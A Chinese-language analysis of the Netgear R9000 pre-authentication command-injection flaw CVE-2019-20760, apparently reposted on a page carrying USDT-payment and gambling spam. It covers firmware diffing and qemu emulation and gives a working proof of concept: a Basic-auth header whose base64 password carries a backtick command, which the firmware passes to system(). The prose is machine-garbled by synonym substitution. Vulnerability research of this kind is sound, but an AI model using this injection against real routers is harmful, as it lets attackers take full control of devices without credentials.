欢迎访问本站!

首页科技正文

usdt不用实名买入卖出(www.caibao.it):危害被低估的Netgear认证前破绽CVE-2019-20760剖析

admin2021-02-13290安全技术IoT安全

USDT第三方支付

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

概述

Netgear R9000装备2019年爆出认证绕过破绽CVE-2019-20760,问题之以是说这个破绽远被低估,主要以下两个缘故原由:

  • 现实破绽危害较大,公然信息仅显示该破绽为一个认证绕过破绽,没有详细破绽信息或者POC,然则经由剖析,发现该破绽其实是一个认证前的注入破绽,攻击者只需要知道装备ip便可以获取装备的最高控制权
  • 影响局限广,另外在测试中发现R78001.0.2.62版本;R75001.0.3.46版本等也受此破绽影响,简朴推测影响局限应该另有其它多款系列型号;
  • 影响数目大,据fofa检索,暴露在公网的装备中R9000数目也许有5000台,R7800也许有15000台,而且还不算其它可能受影响的型号数目,而且由于官方信息只是说明为认证绕过破绽,预测也并没有引起普遍注重而更新固件。

由于该破绽通告只有也许信息,下文纪录针对R9000型号的该破绽剖析定位调试的历程。

破绽点剖析

凭据破绽通告信息,Netgear R9000装备1.0.4.26版本前存在认证绕过破绽,然则并没有详细说明破绽点位置,实验凭据通告信息连系二进制比对查找破绽点。

固件下载及剖析

通过以下地址可以下载存在破绽版本固件以及修复版本固件

破绽版本固件下载链接

修复版本固件下载链接

两固件均通过binwalk可通例解压获得文件系统

查找web处置程序

通过查找Referer字符串来确定一下web处置程序

$ grep -r "Referer"
Binary file usr/bin/curl matches
Binary file usr/ *** in/wget matches
Binary file usr/ *** in/uhttpd matches
Binary file usr/lib/libcurl.so.4.3.0 matches
Binary file bin/fbwifi matches
Binary file bin/ookla matches
Binary file iQoS/R9000/TM/data_colld matches
Binary file iQoS/R8900/TM/data_colld matches

通过命名即可判断web处置的二进制应该是uhttpd

二进制比对

使用diaphora来举行二进制比对操作。

diaphora使用异常简朴,首先使用IDA打开破绽版本1.04.26版本文件系统中的uhttpd,选择File--Script file...--diaphora.py,在弹出框中点击OK,然后再使用IDA打开修复版本1.04.28版本文件系统中的uhttpd,同样方式打开diaphora,在弹出框中的SQLite database to diff against中选择1.04.26版本的uhttpd天生的sqlite文件,再点击OK即可最先比对,稍等片刻,便会泛起比对效果。

可以查看Partial matches,其中login_type函数进入后除了命名没有太多改变,以是主要查看uh_cgi_auth_check,选中这个函数后点击右键——Diff Pseudo-code,可以在反编译代码的层面上查看差异点,左边是修复版本,右边是破绽版本:

可以看出修复版本使用了dni_system,而破绽版本snprintf后直接传入system执行,预测破绽点位于此处。

实验使用IDA打开破绽版本的uhttpduh_cgi_auth_check函数:

直观审计起来不是很悦目,包罗函数的参数是什么也都不太清晰,这里接纳一个对照懒的方式,我实验找到了对应的源码:

源码下载地址

源码对应位置并没有响应的system函数,预测是官方有意做了一些隐藏,然则可以借由源码恢复出来许多结构信息。

详细操作可以参考cve-2018-5767 Tenda AC15 栈溢出破绽调试对照简朴,这里不再赘述。

定位破绽点

在破绽版本中,恢复完符号表以后可以清晰的看出,数据包头中的AuthorizationBasic后数据经由base64解码后,其中:后边的password参数会被传入snprintf,然后挪用system来执行,造成破绽。

前文已经说明,在修复版本中,没有直接挪用system,换成了dni_system,查看一下dni_system;

可以看出,dni_system接纳了execve来执行下令,只有参数可控,是无法做到RCE之类的危害的。

破绽复现

web模拟

查看etc/init.d/uhttpd

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
cat ./etc/init.d/uhttpd
 ......
 start() {
        ,config_load uhttpd
        ,config_foreach start_instance uhttpd

        ,mkdir /tmp/www
        ,cp -rf /usr/www/* /tmp/www

        /www/cgi-bin/uhttpd.sh start
        inetd
        detplc
    ,for bug58012
    touch /tmp/fwcheck_status
}
.....

可以看到启动uhttpd使用了/www/cgi-bin/uhttpd.sh这个剧本

查看这个剧本:

╰─$ cat ./www/cgi-bin/uhttpd.sh
,!/bin/sh

REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/ *** in/uhttpd"
PX5G_BIN="/usr/ *** in/px5g"


uhttpd_stop()
{
        kill -9 $(pidof uhttpd)
}

uhttpd_start()
{
        $UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}

case "$1" in
        stop)
                uhttpd_stop
        ;;
        start)
                uhttpd_start
        ;;
        restart)
                uhttpd_stop
                uhttpd_start
        ;;
        *)
                logger -- "usage: $0 start|stop|restart"
        ;;
esac

其中-C /etc/uhttpd.crt -K /etc/uhttpd.key -s我们都可以省略掉,忽略https即可,REALM参数可以直接获得:

$ cat ./module_name                                                                                                         130 ↵
R9000

然后即可获得uhttpd的启动下令:

/usr/ *** in/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

使用file查看指令架构:

$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header

使用qemu-system打开armhf虚拟机,此步骤在IOT环境搭建–若何使用qemu运行种种指令架构程序中有详细步骤,此处不再赘述

将文件系统拷贝进armhf虚拟机中,运行以下下令:

chroot . /usr/ *** in/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

没有报错,查看端口情形:

$ netstat -antp | grep uhttpd
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      2425/uhttpd
tcp6       0      0 :::80                   :::*                    LISTEN      2425/uhttpd

可以看到80端口已经启动起来了,模拟乐成

组织攻击数据包

在浏览器中接见http://<device_ip>/cgi-bin/,可以弹出登录框:

使用admin@admin账户上岸抓包如下:

GET /cgi-bin/ HTTP/1.1
Host: <your ip>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

实验组织POC,

$ echo 'admin:`touch /abcd`' | base64
YWRtaW46YHRvdWNoIC9hYmNkYAo=

组织数据包

GET /cgi-bin/ HTTP/1.1
Host: <Your IP>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YHRvdWNoIC9hYmNkYAo=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

发送数据包后查看文件系统

root@debian-armhf:~/squashfs-root, ls
abcd  bin  cloud_version  default_language_version  dev  etc  firmware_region  firmware_time  firmware_version  hardware_version  home  hw_id  iQoS  lib  mnt  module_name  overlay  proc  rom  root   *** in  sys  tmp  usr  var  www

可以发现abcd这个文件已经被建立,攻击乐成。

总结

本破绽NVD的评分是8.8,然而对于这种认证前的RCE破绽,个人认为评分是低了,知道装备的ip信息,便可以获取该装备最高控制权,该破绽危害性照样对照大的。而且在测试中,发现该破绽影响的装备型号也并不止R9000这一款。

IoT破绽剖析中,认证流程剖析是必不可少的一环,直接在认证历程中就将用户输入没有做任何校验直接传入system,破绽照样很明显也对照简朴。

另外,通过二进制比对方式来找1day破绽,也是一种对照简练取巧的方式。

参考:

[1] CVE-2019-20760

[2] cve-2018-5767 Tenda AC15 栈溢出破绽调试

[3] IOT环境搭建–若何使用qemu运行种种指令架构程序

[4] fofa网络资产测绘

网友评论

1条评论
  • 2021-02-13 00:01:00

    Allbet欧博欢迎进Allbet欧博官网(www.ALLbetgame.us),欧博官网是欧博集团的官方网站。Allbet欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。这情节我都想不到